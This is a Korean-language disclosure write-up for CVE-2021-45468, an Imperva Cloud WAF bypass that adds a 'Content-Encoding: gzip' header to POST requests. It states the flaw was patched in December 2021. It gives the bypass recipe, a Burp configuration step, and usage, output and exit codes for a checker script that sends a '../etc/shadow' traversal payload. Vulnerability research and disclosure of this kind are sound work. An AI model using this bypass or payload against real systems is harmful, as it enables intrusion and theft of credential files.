
CVE-2021-45468에 대한 익스플로잇, Imperva WAF 우회
Imperva Cloud WAF는 악성 HTTP POST 페이로드(log4j 익스플로잇, SQL 인젝션, 명령 실행, 디렉토리 트래버설, XXE 등)를 전송할 때 공격자가 WAF 규칙을 우회할 수 있는 취약점이 있었습니다.
Imperva 팀은 보고를 받은 즉시 이를 매우 진지하게 받아들였으며, 단 며칠 만에 글로벌 수정을 완료했습니다. Kudos. Cloud WAF의 모든 고객은 2021년 12월 22일 기준으로 자동 패치되었습니다. Imperva는 협력하기 좋은 팀이었으며, 분명히 성숙하고 숙련된 보안 팀을 보유하고 있습니다.
HTTP POST 요청에 Content-Encoding: gzip 헤더를 추가합니다. POST 데이터는 그대로 둡니다. 인코딩하지 마세요. Content-Encoding 헤더의 처음 4바이트가 gzip인 한, POST 요청에 WAF 규칙이 적용되지 않습니다.
Burp에서 프록시의 Match & Replace 기능을 사용하여 이를 수행할 수 있습니다:

다음과 같이 새 헤더를 추가합니다:

이게 전부입니다. 이제 사용하시면 됩니다.
다음과 같이 POST 요청을 지원하는 URL에 대해 imperva_gzip.py를 실행합니다:
Syntax:
./imperva_gzip.py [[-t] | [-r]] URL
주어진 URL에 대한 WAF 유형 추측:
$ ./imperva_gzip.py -t https://www.vulnerable.com/search
Imperva Incapsula
$ ./imperva_gzip.py -t https://www.wordpress-user.com/login
WordFence
$ ./imperva_gzip.py -t https://www.cloudflare-customer.com
Cloudflare
WAF가 gzip 우회에 취약한지 확인:
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] Can we make POST requests to https://www.vulnerable.com/search?
[+] Checking for Imperva WAF...
[+] Attempting gzip bypass for UNIX trigger...
[+] Vulnerable! HTTP response code: 200
[+] Attempting gzip bypass for Windows trigger...
[+] Vulnerable! HTTP response code: 200
다음 오류가 발생하는 경우:
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] Can we make POST requests to https://www.vulnerable.com/search?
[!] Can't POST to https://www.vulnerable.com/search. Try -r if 30x redirects are allowed. HTTP response code: 302
명령줄에 -r을 전달하여 완화 모드를 활성화해 보세요. 완화 모드는 기본적으로 꺼져 있으며, 이는 POST 요청이 서버로부터 HTTP 200 응답을 받을 것으로 예상함을 의미합니다. -r은 허용되는 응답을 HTTP 2xx, 3xx로 확장합니다.
imperva_gzip.py의 종료 코드는 다음과 같습니다:
0: Returned after getting WAF type.
1: Command-line was invalid.
2: There was an error connecting. Could be DNS error, timeout, etc.
3: No WAF was detected; malicious UNIX/Windows payloads weren't blocked.
4: A WAF was detected, but it wasn't Imperva.
5: The server responded to a test POST request with something other than HTTP 200.
128: There is an Imperva WAF, but it is not vulnerable to the gzip bypass.
129: The bypass was effective for the UNIX payload, but not the Windows one.
130: The bypass was effective for the Windows payload, but not the UNIX one.
131: The bypass was effective against both Windows and UNIX payloads.
세 개의 POST 요청을 전송합니다:
&test=../../../../../../../etc/shadow와 같은 추가 '악성' 데이터를 포함시켜 Imperva가 차단하는지 확인합니다.Content-Encoding: gzip 헤더를 추가하고 Imperva가 차단하지 않는지 확인합니다.https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Encoding에 따르면 Content-Encoding 헤더에는 네 가지 유효한 값이 있습니다:
compressdeflategzipbr테스트 결과, gzip만 우회에 성공했습니다.
Cloud WAF는 Imperva에서 관리합니다. 결과적으로 Cloud WAF에 대한 업데이트는 거의 모든 고객에게 거의 동시에 적용됩니다. 2021년 12월 22일 기준으로 모든 고객에게 패치가 적용되었습니다.
gzip 우회 버그는 SecureSphere라는 별도의 Imperva 제품에서 수정되었습니다. SecureSphere v12.6 릴리스 노트에는 다음 문단이 포함되어 있습니다:
SPHR-58185: When SecureSphere failed to decompress POST body in requests with "Content-Encoding: gzip/deflate" header, it issued no alert and let the request through.
이것이 동일한 버그이며 아마도 Cloud WAF와 동일한 코드 계보를 가질 것이라고 확신합니다... 두 제품에 존재하기에는 매우 특정한 버그입니다. 이 문제는 2021년 2월에 SecureSphere에서 해결되었으나, 언제 도입되었는지는 알 수 없습니다. 취약점이 수년간 존재했을 가능성이 있습니다!
Imperva Customer Support: https://www.imperva.com/support/technical-support/